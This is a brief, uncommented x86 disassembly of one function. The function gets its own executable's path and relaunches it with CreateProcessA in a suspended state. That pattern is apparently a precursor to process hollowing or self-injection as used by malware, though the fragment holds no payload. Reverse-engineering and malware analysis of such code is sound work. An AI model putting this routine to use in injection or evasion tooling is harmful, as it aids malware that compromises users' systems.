mov eax, dword [0x4180a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0x400
lea eax, [ebp - 0x804]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x44
lea eax, [ebp - 0x848]
push edi
push eax
call fcn.00405a50
add esp, 0xc
test esi, esi
jne 0x401a8d
mov eax, 0x416530
jmp 0x401a94
mov ecx, esi
call fcn.00401915
push 0x41a210
lea ecx, [ebp - 0x848]
push ecx
push edi
push edi
push 4
push edi
push edi
push edi
push eax
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
pop edi
xor ecx, ebp
pop esi
call fcn.00402f33
leave
ret 4